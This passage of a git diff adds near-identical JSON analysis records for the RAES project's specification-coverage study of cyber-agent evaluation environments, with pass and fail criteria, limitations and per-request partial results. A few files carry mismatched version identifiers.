"missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "raes-standardized-specification-coverage-issue-1072-v36", + "snapshot_sha256": "3d8558c931d85782c25ca1f6f629c87c9b461d70256c22e133bb2a1f0de94e41" +} diff --git a/docs/research/specification-coverage/analysis-v37.json b/docs/research/specification-coverage/analysis-v37.json new file mode 100644 index 000000000..dfa308ea7 --- /dev/null +++ b/docs/research/specification-coverage/analysis-v37.json @@ -0,0 +1,98 @@ +{ + "analysis_id": "raes-standardized-specification-coverage-issue-1072-v37", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v20.json", + "docs/research/specification-coverage/analysis-v20.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-20", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary.", + "Authoring-adapter transport behavior is outside this retained protocol.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "Operational recovery observation and startup reconciliation are covered by their API-404 regression suite, not a new claim in this preregistered matrix.", + "Store ownership, immutable runtime scope, and provider shutdown ordering are covered by the API-404 CP-5 regression suite, not by this retained specification-coverage protocol.", + "Mixed/staged trial compilation and admission are covered by issue #1015 regression tests, not by this retained specification-coverage corpus; no live mixed-runtime result is claimed.", + "Issue #1186 control-plane recovery operations are covered by their runtime regression suite, not by this retained specification-coverage corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #1072 participant-control contracts are covered by their dedicated API-424 regression tests. This retained language replay does not execute providers or establish runtime effect realization." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "RAES preserved every issue-defined load-bearing concept through its tested typed stages without requiring backend fields in core SDL. The broader claim remains partial: the three preregistered missing-carrier slots were not run, which does not establish that those capabilities are absent from the current ecosystem. Replay on the integrated source state retains those classifications and claim limits; listener endpoint completeness, backend admission, realized participant relationships, authoring-adapter transport behavior, and native backend scope enforcement are not evaluated by this protocol. This replay also binds the operational recovery-observation implementation without treating it as EXP-715 experiment observation or a crash-recovery result. This replay binds the CP-5 source changes without treating the retained language artifacts as evidence of process leasing, SQLite ownership, or lifecycle drain ordering. This replay binds the issue #1015 admitted-plan and compiler source changes without treating the retained language artifacts as evidence of live mixed-runtime execution, phase coordination, or backend equivalence. This replay binds issue #1186 runtime maintenance, health, and audit source without claiming that the retained language corpus executes those operator paths. This replay binds issue #1187 source changes without treating the retained language corpus as crash/profile conformance evidence. This replay binds issue #1189 source changes without treating the retained language corpus as evidence of control-plane profile guarantees. This replay binds issue #1072 contract source without adding provider-execution or effect-realization claims.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "raes-standardized-specification-coverage-issue-1072-v37", + "snapshot_sha256": "009bad78df3942a7537bbff966942f5b0d09cdd6e70187f5a7cc4ea492e1e2a2" +} diff --git a/docs/research/specification-coverage/analysis-v38.json b/docs/research/specification-coverage/analysis-v38.json new file mode 100644 index 000000000..975d2cec6 --- /dev/null +++ b/docs/research/specification-coverage/analysis-v38.json @@ -0,0 +1,97 @@ +{ + "analysis_id": "raes-standardized-specification-coverage-issue-1016-v38", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v20.json", + "docs/research/specification-coverage/analysis-v20.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-20", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary.", + "Authoring-adapter transport behavior is outside this retained protocol.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "Operational recovery observation and startup reconciliation are covered by their API-404 regression suite, not a new claim in this preregistered matrix.", + "Store ownership, immutable runtime scope, and provider shutdown ordering are covered by the API-404 CP-5 regression suite, not by this retained specification-coverage protocol.", + "Mixed/staged trial compilation and admission are covered by issue #1015 regression tests, not by this retained specification-coverage corpus; no live mixed-runtime result is claimed.", + "Issue #1186 control-plane recovery operations are covered by their runtime regression suite, not by this retained specification-coverage corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "RAES preserved every issue-defined load-bearing concept through its tested typed stages without requiring backend fields in core SDL. The broader claim remains partial: the three preregistered missing-carrier slots were not run, which does not establish that those capabilities are absent from the current ecosystem. Replay on the integrated source state retains those classifications and claim limits; listener endpoint completeness, backend admission, realized participant relationships, authoring-adapter transport behavior, and native backend scope enforcement are not evaluated by this protocol. This replay also binds the operational recovery-observation implementation without treating it as EXP-715 experiment observation or a crash-recovery result. This replay binds the CP-5 source changes without treating the retained language artifacts as evidence of process leasing, SQLite ownership, or lifecycle drain ordering. This replay binds the issue #1015 admitted-plan and compiler source changes without treating the retained language artifacts as evidence of live mixed-runtime execution, phase coordination, or backend equivalence. This replay binds issue #1186 runtime maintenance, health, and audit source without claiming that the retained language corpus executes those operator paths. This replay binds issue #1187 source changes without treating the retained language corpus as crash/profile conformance evidence. This replay binds issue #1189 source changes without treating the retained language corpus as evidence of control-plane profile guarantees.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "raes-standardized-specification-coverage-issue-1016-v38", + "snapshot_sha256": "153bfa7e283ffc862df2529a056b15cded29bd93cc9dccde90340ec16bdf71d8" +} diff --git a/docs/research/specification-coverage/analysis-v39.json b/docs/research/specification-coverage/analysis-v39.json new file mode 100644 index 000000000..ece4895da --- /dev/null +++ b/docs/research/specification-coverage/analysis-v39.json @@ -0,0 +1,98 @@ +{ + "analysis_id": "raes-standardized-specification-coverage-issue-610-v39", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v20.json", + "docs/research/specification-coverage/analysis-v20.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-20", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary.", + "Authoring-adapter transport behavior is outside this retained protocol.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "Operational recovery observation and startup reconciliation are covered by their API-404 regression suite, not a new claim in this preregistered matrix.", + "Store ownership, immutable runtime scope, and provider shutdown ordering are covered by the API-404 CP-5 regression suite, not by this retained specification-coverage protocol.", + "Mixed/staged trial compilation and admission are covered by issue #1015 regression tests, not by this retained specification-coverage corpus; no live mixed-runtime result is claimed.", + "Issue #1186 control-plane recovery operations are covered by their runtime regression suite, not by this retained specification-coverage corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "RAES preserved every issue-defined load-bearing concept through its tested typed stages without requiring backend fields in core SDL. The broader claim remains partial: the three preregistered missing-carrier slots were not run, which does not establish that those capabilities are absent from the current ecosystem. Replay on the integrated source state retains those classifications and claim limits; listener endpoint completeness, backend admission, realized participant relationships, authoring-adapter transport behavior, and native backend scope enforcement are not evaluated by this protocol. This replay also binds the operational recovery-observation implementation without treating it as EXP-715 experiment observation or a crash-recovery result. This replay binds the CP-5 source changes without treating the retained language artifacts as evidence of process leasing, SQLite ownership, or lifecycle drain ordering. This replay binds the issue #1015 admitted-plan and compiler source changes without treating the retained language artifacts as evidence of live mixed-runtime execution, phase coordination, or backend equivalence. This replay binds issue #1186 runtime maintenance, health, and audit source without claiming that the retained language corpus executes those operator paths. This replay binds issue #1187 source changes without treating the retained language corpus as crash/profile conformance evidence. This replay binds issue #1189 source changes without treating the retained language corpus as evidence of control-plane profile guarantees.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "raes-standardized-specification-coverage-issue-610-v39", + "snapshot_sha256": "799f4c46747be5847cc3ecb8a727487d1f538f3f100ea7478be20301d1f90796" +} diff --git a/docs/research/specification-coverage/analysis-v40.json b/docs/research/specification-coverage/analysis-v40.json new file mode 100644 index 000000000..6f7464db6 --- /dev/null +++ b/docs/research/specification-coverage/analysis-v40.json @@ -0,0 +1,98 @@ +{ + "analysis_id": "raes-standardized-specification-coverage-issue-1069-v40", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v20.json", + "docs/research/specification-coverage/analysis-v20.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-20", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary.", + "Authoring-adapter transport behavior is outside this retained protocol.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "Operational recovery observation and startup reconciliation are covered by their API-404 regression suite, not a new claim in this preregistered matrix.", + "Store ownership, immutable runtime scope, and provider shutdown ordering are covered by the API-404 CP-5 regression suite, not by this retained specification-coverage protocol.", + "Mixed/staged trial compilation and admission are covered by issue #1015 regression tests, not by this retained specification-coverage corpus; no live mixed-runtime result is claimed.", + "Issue #1186 control-plane recovery operations are covered by their runtime regression suite, not by this retained specification-coverage corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "RAES preserved every issue-defined load-bearing concept through its tested typed stages without requiring backend fields in core SDL. The broader claim remains partial: the three preregistered missing-carrier slots were not run, which does not establish that those capabilities are absent from the current ecosystem. Replay on the integrated source state retains those classifications and claim limits; listener endpoint completeness, backend admission, realized participant relationships, authoring-adapter transport behavior, and native backend scope enforcement are not evaluated by this protocol. This replay also binds the operational recovery-observation implementation without treating it as EXP-715 experiment observation or a crash-recovery result. This replay binds the CP-5 source changes without treating the retained language artifacts as evidence of process leasing, SQLite ownership, or lifecycle drain ordering. This replay binds the issue #1015 admitted-plan and compiler source changes without treating the retained language artifacts as evidence of live mixed-runtime execution, phase coordination, or backend equivalence. This replay binds issue #1186 runtime maintenance, health, and audit source without claiming that the retained language corpus executes those operator paths. This replay binds issue #1187 source changes without treating the retained language corpus as crash/profile conformance evidence. This replay binds issue #1189 source changes without treating the retained language corpus as evidence of control-plane profile guarantees.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "raes-standardized-specification-coverage-issue-1069-v40", + "snapshot_sha256": "9994fe8f174977ebad05e25a5be8600d29ce5f77e19cd4825da91daab5b0a635" +} diff --git a/docs/research/specification-coverage/analysis-v41.json b/docs/research/specification-coverage/analysis-v41.json new file mode 100644 index 000000000..952ddb76d --- /dev/null +++ b/docs/research/specification-coverage/analysis-v41.json @@ -0,0 +1,99 @@ +{ + "analysis_id": "issue-1338-analysis-v41", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v20.json", + "docs/research/specification-coverage/analysis-v20.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-21", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary.", + "Authoring-adapter transport behavior is outside this retained protocol.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "Operational recovery observation and startup reconciliation are covered by their API-404 regression suite, not a new claim in this preregistered matrix.", + "Store ownership, immutable runtime scope, and provider shutdown ordering are covered by the API-404 CP-5 regression suite, not by this retained specification-coverage protocol.", + "Mixed/staged trial compilation and admission are covered by issue #1015 regression tests, not by this retained specification-coverage corpus; no live mixed-runtime result is claimed.", + "Issue #1186 control-plane recovery operations are covered by their runtime regression suite, not by this retained specification-coverage corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "The retained specification matrix replays explicit participant affiliations, objective ownership, and assignment using abstract action contracts. Classification counts and untested concepts are unchanged; no execution authority or live backend behavior is inferred.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "raes-standardized-specification-coverage-issue-1338-v41", + "snapshot_sha256": "12630c359b4554c67d8e7a2dd5c0758a2b11f4e9f62728f40de24d8b37a3f22f" +} diff --git a/docs/research/specification-coverage/analysis-v42.json b/docs/research/specification-coverage/analysis-v42.json new file mode 100644 index 000000000..1bfd95f49 --- /dev/null +++ b/docs/research/specification-coverage/analysis-v42.json @@ -0,0 +1,99 @@ +{ + "analysis_id": "raes-standardized-specification-coverage-issue-218-v41", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v42.json", + "docs/research/specification-coverage/analysis-v42.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-21", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary.", + "Authoring-adapter transport behavior is outside this retained protocol.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "Operational recovery observation and startup reconciliation are covered by their API-404 regression suite, not a new claim in this preregistered matrix.", + "Store ownership, immutable runtime scope, and provider shutdown ordering are covered by the API-404 CP-5 regression suite, not by this retained specification-coverage protocol.", + "Mixed/staged trial compilation and admission are covered by issue #1015 regression tests, not by this retained specification-coverage corpus; no live mixed-runtime result is claimed.", + "Issue #1186 control-plane recovery operations are covered by their runtime regression suite, not by this retained specification-coverage corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant-local outcome state is verified by the ACT-618 tests; this retained corpus makes no additional outcome-state claim." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "RAES preserved every issue-defined load-bearing concept through its tested typed stages without requiring backend fields in core SDL. The broader claim remains partial: the three preregistered missing-carrier slots were not run, which does not establish that those capabilities are absent from the current ecosystem. Replay on the integrated source state retains those classifications and claim limits; listener endpoint completeness, backend admission, realized participant relationships, authoring-adapter transport behavior, and native backend scope enforcement are not evaluated by this protocol. This replay also binds the operational recovery-observation implementation without treating it as EXP-715 experiment observation or a crash-recovery result. This replay binds the CP-5 source changes without treating the retained language artifacts as evidence of process leasing, SQLite ownership, or lifecycle drain ordering. This replay binds the issue #1015 admitted-plan and compiler source changes without treating the retained language artifacts as evidence of live mixed-runtime execution, phase coordination, or backend equivalence. This replay binds issue #1186 runtime maintenance, health, and audit source without claiming that the retained language corpus executes those operator paths. This replay binds issue #1187 source changes without treating the retained language corpus as crash/profile conformance evidence. This replay binds issue #1189 source changes without treating the retained language corpus as evidence of control-plane profile guarantees.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "raes-standardized-specification-coverage-issue-1069-v40", + "snapshot_sha256": "3aceb941831ea1491fa5403b927469566ccd0efb69baf8e2e779827dadfc0bb9" +} diff --git a/docs/research/specification-coverage/analysis-v43.json b/docs/research/specification-coverage/analysis-v43.json new file mode 100644 index 000000000..b1aeae4dc --- /dev/null +++ b/docs/research/specification-coverage/analysis-v43.json @@ -0,0 +1,99 @@ +{ + "analysis_id": "raes-standardized-specification-coverage-issue-218-v42", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and 